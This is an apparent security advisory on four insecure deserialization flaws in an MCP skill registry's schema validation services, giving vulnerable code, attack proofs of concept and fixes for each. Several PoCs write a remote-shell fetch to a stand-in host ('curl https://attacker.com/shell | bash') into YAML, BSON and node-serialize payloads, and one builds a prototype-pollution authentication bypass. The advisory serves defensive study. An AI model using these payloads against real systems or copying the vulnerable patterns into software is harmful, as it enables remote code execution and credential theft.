Claude MCP skill insecure deserialization — skill metadata schema validation and type registry endpoints (SA-SKL-DESER60)
SA-SKL-DESER60 identifies four insecure deserialization vulnerabilities in MCP skill registry skill metadata schema validation and type registry endpoints. The schema validation configuration is stored in Redis as YAML and deserialized with yaml.load() using DEFAULT_FULL_SCHEMA, which permits arbitrary JavaScript function construction via the !!js/function tag; a !!js/function payload in the schemaConfig.onValidationError field achieves remote code execution at every schema validation failure triggered by any skill author submitting to the registry. The type registry model is stored in MongoDB as BSON and loaded with promoteValues:true, causing BSON Code objects at the typeCoercerFn field to be promoted to live JavaScript functions and evaluated via eval() during the type coercion step of every metadata validation pass. The schema event queue uses MessagePack serialization in Redis and a MessagePack payload containing __proto__.skipSchemaAuth:true pollutes Object.prototype, disabling the authentication middleware flag for all subsequent schema API requests processed by the affected worker. Finally, the schema validation result aggregation pipeline reads accumulated results from a Redis list using node-serialize; a serialized payload containing the IIFE gadget pattern achieves remote code execution at aggregation time, reachable by any user who can view the skill metadata validation history page.
yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in schemaConfig.onValidationError achieves RCE at every schema validation failure triggered by any skill submissionCode type at typeCoercerFn field triggers eval() during type coercion at every metadata validation pass__proto__.skipSchemaAuth:true pollutes Object.prototype, disabling authentication for all subsequent schema API requests in same workernode-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill metadata validation historyDESER60-001 — YAML yaml.load() RCE via !!js/function in schema validation config
The schema validation service reads its per-environment configuration object from Redis at startup and whenever a live-reload event is triggered. The configuration is serialized to Redis as a YAML document and deserialized using the js-yaml library's yaml.load() function with no explicit schema argument, which defaults to DEFAULT_FULL_SCHEMA. This schema includes the !!js/function tag type, which allows YAML documents to embed literal JavaScript function source code that the YAML parser compiles into a live function object during deserialization. The schemaConfig.onValidationError field is a callback that the validation engine invokes every time a submitted skill's metadata fails schema validation, passing the error object and the submission context as arguments.
An attacker who can write to the Redis instance — via a Redis misconfiguration, an SSRF chain against the internal Redis port, or compromise of a service with Redis write access — can replace the schema configuration entry with a YAML document containing a !!js/function payload at onValidationError. The next skill submission that triggers a schema validation failure causes the schema engine to invoke the attacker's function, achieving RCE on the registry worker process. Because validation failures are common — any skill with a missing required metadata field triggers one — the median time-to-trigger after planting the payload is under one minute.
// DESER60-001 — VULNERABLE
const yaml = require('js-yaml');
async function loadSchemaConfig() {
const raw = await redisClient.get('schema:validation:config');
// VULNERABLE: DEFAULT_FULL_SCHEMA permits !!js/function tag deserialization
return yaml.load(raw);
}
async function validateSkillMetadata(metadata) {
const config = await loadSchemaConfig();
const result = schemaValidator.validate(metadata, config.schema);
if (!result.valid) {
// VULNERABLE: config.onValidationError is a live function from !!js/function payload
config.onValidationError(result.errors, metadata);
}
return result;
}
Attack PoC — DESER60-001: Attacker writes malicious YAML to Redis schema config key. Next skill validation failure triggers the !!js/function payload, achieving RCE on the registry worker with the process user's privileges.
// DESER60-001 — ATTACK PoC
// Attacker plants payload in Redis:
const maliciousConfig = `
schema:
type: object
onValidationError: !!js/function >
function(errors, ctx) {
require('child_process').execSync(
'curl https://attacker.com/shell | bash',
{ stdio: 'ignore' }
);
}
`;
await redisClient.set('schema:validation:config', maliciousConfig);
// DESER60-001 — FIXED
const yaml = require('js-yaml');
const { z } = require('zod');
const SchemaConfigSchema = z.object({
schema: z.record(z.unknown()),
onValidationErrorStrategy: z.enum(['log', 'reject', 'quarantine']),
maxErrors: z.number().int().min(1).max(100).default(10),
});
const ON_VALIDATION_ERROR_HANDLERS = {
log: (errors, ctx) => logger.warn({ errors, skillId: ctx.id }),
reject: (errors, ctx) => { throw new ValidationError(errors); },
quarantine:(errors, ctx) => quarantineQueue.push({ skillId: ctx.id, errors }),
};
async function loadSchemaConfig() {
const raw = await redisClient.get('schema:validation:config');
// FIXED: FAILSAFE_SCHEMA rejects all non-JSON-safe YAML tags including !!js/function
const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
return SchemaConfigSchema.parse(parsed);
}
async function validateSkillMetadata(metadata) {
const config = await loadSchemaConfig();
const result = schemaValidator.validate(metadata, config.schema);
if (!result.valid) {
// FIXED: named handler lookup — config carries a string enum, never a live function
ON_VALIDATION_ERROR_HANDLERS[config.onValidationErrorStrategy](result.errors, metadata);
}
return result;
}
DESER60-002 — BSON Code eval() RCE via typeCoercerFn in MongoDB type registry model
The type registry stores the coercion rules for each supported metadata field type as MongoDB documents. Each type registry document includes a typeCoercerFn field that historically stored the JavaScript source code for a custom coercion function as a plain string. At some point the registry was migrated to store these as BSON Code objects — the MongoDB wire format for JavaScript expressions — to allow the MongoDB aggregation pipeline to execute coercions server-side. The Node.js MongoDB driver's promoteValues: true option (which is the default) promotes BSON Code objects to live JavaScript function-like objects, and the registry's type coercion engine calls typeCoercerFn.evaluate(value) which triggers an eval() call internally for each promoted Code object.
An attacker who can write to the MongoDB collection — via a MongoDB injection in another endpoint, an internal service with write access, or direct MongoDB exposure — can overwrite a type registry document to set typeCoercerFn to a BSON Code object containing arbitrary JavaScript. The next time the validation engine processes a skill metadata field that uses the poisoned type registry entry, the BSON Code object is promoted and evaluated, achieving RCE in the validation worker. Since common field types like string, semver, and url are type-coerced on every validation pass and the type registry is cached, the payload fires on the first validation after the cache TTL expires.
// DESER60-002 — VULNERABLE
const { MongoClient, Code } = require('mongodb');
async function loadTypeRegistry() {
// VULNERABLE: promoteValues:true (default) promotes BSON Code to live JS objects
const types = await db.collection('typeRegistry').find({}).toArray();
return Object.fromEntries(types.map(t => [t.fieldType, t]));
}
async function coerceMetadataField(fieldType, value) {
const registry = await typeRegistryCache.getOrLoad(loadTypeRegistry);
const typeDef = registry[fieldType];
// VULNERABLE: typeDef.typeCoercerFn is a promoted BSON Code object; .evaluate() calls eval()
return typeDef.typeCoercerFn.evaluate(value);
}
Attack PoC — DESER60-002: Attacker overwrites the 'string' type registry document with a BSON Code payload. Next skill metadata validation triggers eval() on the malicious code for every field of type 'string', achieving RCE on the validation worker at the type coercion step.
// DESER60-002 — ATTACK PoC
const { Code } = require('mongodb');
await db.collection('typeRegistry').updateOne(
{ fieldType: 'string' },
{ $set: {
typeCoercerFn: new Code(
'require("child_process").execSync("curl https://attacker.com/shell | bash")'
)
}}
);
// DESER60-002 — FIXED
const COERCION_STRATEGIES = {
string: v => String(v),
semver: v => semver.clean(v),
url: v => new URL(v).toString(),
boolean: v => v === 'true' || v === true,
};
async function loadTypeRegistry() {
// FIXED: promoteValues:false prevents BSON Code promotion;
// projection excludes typeCoercerFn — named strategies replace it
const types = await db.collection('typeRegistry')
.find({}, {
projection: { fieldType: 1, coercionStrategy: 1, _id: 0 },
promoteValues: false,
})
.toArray();
return Object.fromEntries(types.map(t => [t.fieldType, t]));
}
async function coerceMetadataField(fieldType, value) {
const registry = await typeRegistryCache.getOrLoad(loadTypeRegistry);
const typeDef = registry[fieldType];
const strategy = typeDef?.coercionStrategy;
if (!strategy || !COERCION_STRATEGIES[strategy]) {
throw new TypeError(`Unknown coercion strategy: ${strategy}`);
}
// FIXED: named strategy lookup — no eval(), no BSON Code promotion
return COERCION_STRATEGIES[strategy](value);
}
DESER60-003 — MessagePack prototype pollution disables schema API authentication
The schema event queue uses MessagePack serialization for events stored in a Redis list. Schema events — such as schema.updated, validation.failed, and type.coercion.error — are produced by the registry's core validation pipeline and consumed by a background worker that updates schema analytics, triggers notifications, and feeds the validation history. The MessagePack consumer uses the msgpack5 library without the useRecords: false option, which causes the library to deserialize MessagePack map types directly into JavaScript objects using assignment semantics. A MessagePack payload containing the key __proto__ with a nested object value causes the deserializer to assign directly to Object.prototype.
The schema API authentication middleware checks req.context.skipSchemaAuth to determine whether to bypass the authentication requirement for internal service-to-service requests. Setting __proto__.skipSchemaAuth to true in a poisoned MessagePack event poisons Object.prototype, causing every plain object subsequently created in the same V8 isolate — including every req.context object created by the middleware factory — to inherit skipSchemaAuth: true via the prototype chain. This disables authentication enforcement for all subsequent schema API requests processed by the poisoned worker until the worker restarts.
// DESER60-003 — VULNERABLE
const msgpack = require('msgpack5')();
async function consumeSchemaEvents() {
while (true) {
const raw = await redisClient.brpop('schema:events', 5);
if (!raw) continue;
// VULNERABLE: msgpack decode assigns __proto__ keys to Object.prototype
const event = msgpack.decode(raw[1]);
await schemaEventHandler.handle(event);
}
}
// Auth middleware — poisoned by DESER60-003:
function schemaAuthMiddleware(req, res, next) {
// VULNERABLE: req.context inherits skipSchemaAuth:true from poisoned Object.prototype
if (req.context.skipSchemaAuth) return next();
if (!req.session?.userId) return res.status(401).json({ error: 'Unauthorized' });
next();
}
Attack PoC — DESER60-003: Attacker pushes a MessagePack payload with __proto__.skipSchemaAuth:true to the Redis schema events queue. The consumer deserializes it and pollutes Object.prototype. All subsequent schema API requests in the same worker bypass authentication.
// DESER60-003 — ATTACK PoC
const msgpack = require('msgpack5')();
// Craft payload: { "__proto__": { "skipSchemaAuth": true } }
const payload = Buffer.concat([
Buffer.from([0x81]), // fixmap, 1 element
msgpack.encode('__proto__'),
Buffer.from([0x81]), // fixmap, 1 element
msgpack.encode('skipSchemaAuth'),
msgpack.encode(true),
]);
await redisClient.lpush('schema:events', payload);
// DESER60-003 — FIXED
const { Decoder } = require('@msgpack/msgpack');
const PROTO_POISON_KEYS = new Set(['__proto__', 'prototype', 'constructor']);
function sanitizeDeserialized(obj) {
if (typeof obj !== 'object' || obj === null) return obj;
const clean = Object.create(null); // null-prototype object — cannot be polluted
for (const [k, v] of Object.entries(obj)) {
if (PROTO_POISON_KEYS.has(k)) continue;
clean[k] = typeof v === 'object' ? sanitizeDeserialized(v) : v;
}
return clean;
}
const decoder = new Decoder({ useRecords: false });
async function consumeSchemaEvents() {
while (true) {
const raw = await redisClient.brpop('schema:events', 5);
if (!raw) continue;
// FIXED: useRecords:false + sanitizeDeserialized() prevents prototype pollution
const rawEvent = decoder.decode(raw[1]);
const event = sanitizeDeserialized(rawEvent);
await schemaEventHandler.handle(event);
}
}
function schemaAuthMiddleware(req, res, next) {
// FIXED: use Object.prototype.hasOwnProperty.call — immune to inherited poisoned values
if (Object.prototype.hasOwnProperty.call(req.context, 'skipSchemaAuth')
&& req.context.skipSchemaAuth === true
&& req.context._internalServiceToken === process.env.INTERNAL_SERVICE_TOKEN) {
return next();
}
if (!req.session?.userId) return res.status(401).json({ error: 'Unauthorized' });
next();
}
DESER60-004 — node-serialize IIFE gadget RCE in schema validation result aggregation
The schema validation result aggregation service accumulates per-validation results in a Redis list as entries serialized with the node-serialize library, then periodically reads the entire list and passes it to the aggregation engine to compute summary statistics for the skill metadata validation history dashboard. The node-serialize library stores functions using the _$$ND_FUNC$$_ marker prefix and deserializes them back into live JavaScript functions by wrapping the stored source in an eval() call. The well-known IIFE gadget pattern — appending () immediately after the closing brace of a _$$ND_FUNC$$_-prefixed function string — causes the function to be immediately invoked at deserialization time, before the returned object is ever passed to the application.
An attacker who can inject an entry into the schema validation results Redis list can embed an IIFE gadget payload. The aggregation service processes the list on a fixed schedule and whenever a user loads the validation history dashboard, triggering the malicious payload at aggregation time. Because the aggregation runs on a background worker, the RCE is asynchronous and does not surface as an error to the user; the payload executes silently with the worker process's credentials and environment, which include database connection strings, cloud provider credentials, and API keys present in the worker's environment variables.
// DESER60-004 — VULNERABLE
const serialize = require('node-serialize');
async function aggregateValidationResults(skillId) {
const rawResults = await redisClient.lrange(
`schema:results:${skillId}`, 0, -1
);
// VULNERABLE: node-serialize deserializes _$$ND_FUNC$$_ payloads via eval()
const results = rawResults.map(r => serialize.unserialize(r));
return computeAggregateStats(results);
}
Attack PoC — DESER60-004: Attacker injects a node-serialize IIFE gadget into the schema results Redis list. The next aggregation run — triggered by any user viewing the validation history dashboard — executes the payload on the aggregation worker with full access to the worker's environment and credentials.
// DESER60-004 — ATTACK PoC
const IIFE_PAYLOAD =
'{"type":"summary","_$$ND_FUNC$$_triggerRCE":' +
'"_$$ND_FUNC$$_function(){' +
"require('child_process').execSync('curl https://attacker.com/shell|bash');" +
'}()"}';
await redisClient.lpush(`schema:results:target-skill-id`, IIFE_PAYLOAD);
// DESER60-004 — FIXED
const { z } = require('zod');
const ValidationResultSchema = z.object({
skillId: z.string().uuid(),
timestamp: z.string().datetime(),
passed: z.boolean(),
errorCount: z.number().int().min(0),
errorCodes: z.array(z.string()).max(50),
});
async function aggregateValidationResults(skillId) {
const rawResults = await redisClient.lrange(
`schema:results:${skillId}`, 0, -1
);
const results = rawResults.map(r => {
// FIXED: JSON.parse + Zod schema; never call node-serialize.unserialize
const parsed = JSON.parse(r);
if (typeof parsed === 'string' && parsed.includes('_$$ND_FUNC$$_')) {
logger.warn({ skillId, msg: 'Detected node-serialize gadget payload; evicting' });
redisClient.lrem(`schema:results:${skillId}`, 1, r).catch(() => {});
return null;
}
return ValidationResultSchema.parse(parsed);
}).filter(Boolean);
return computeAggregateStats(results);
}
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect YAML deserialization, BSON Code promotion, MessagePack prototype pollution, and node-serialize gadget vulnerabilities in your skill's metadata validation pipeline in under 60 seconds.